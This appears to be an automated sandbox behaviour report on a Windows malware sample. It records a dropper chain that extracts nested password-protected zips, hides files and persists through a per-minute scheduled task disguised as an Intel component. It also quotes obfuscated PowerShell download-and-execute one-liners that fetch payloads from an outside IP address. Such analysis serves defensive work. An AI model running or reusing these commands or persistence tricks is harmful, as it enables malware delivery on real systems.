Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: file.exe

ReversingLabs: Detection: 57%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeh

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe "C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe "C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe"
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Process created: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe "C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe"
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6372 -s 916
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe "C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe"
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe "C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe "C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe "C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe "C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Process created: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe "C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: edputil.dll	Jump to behavior
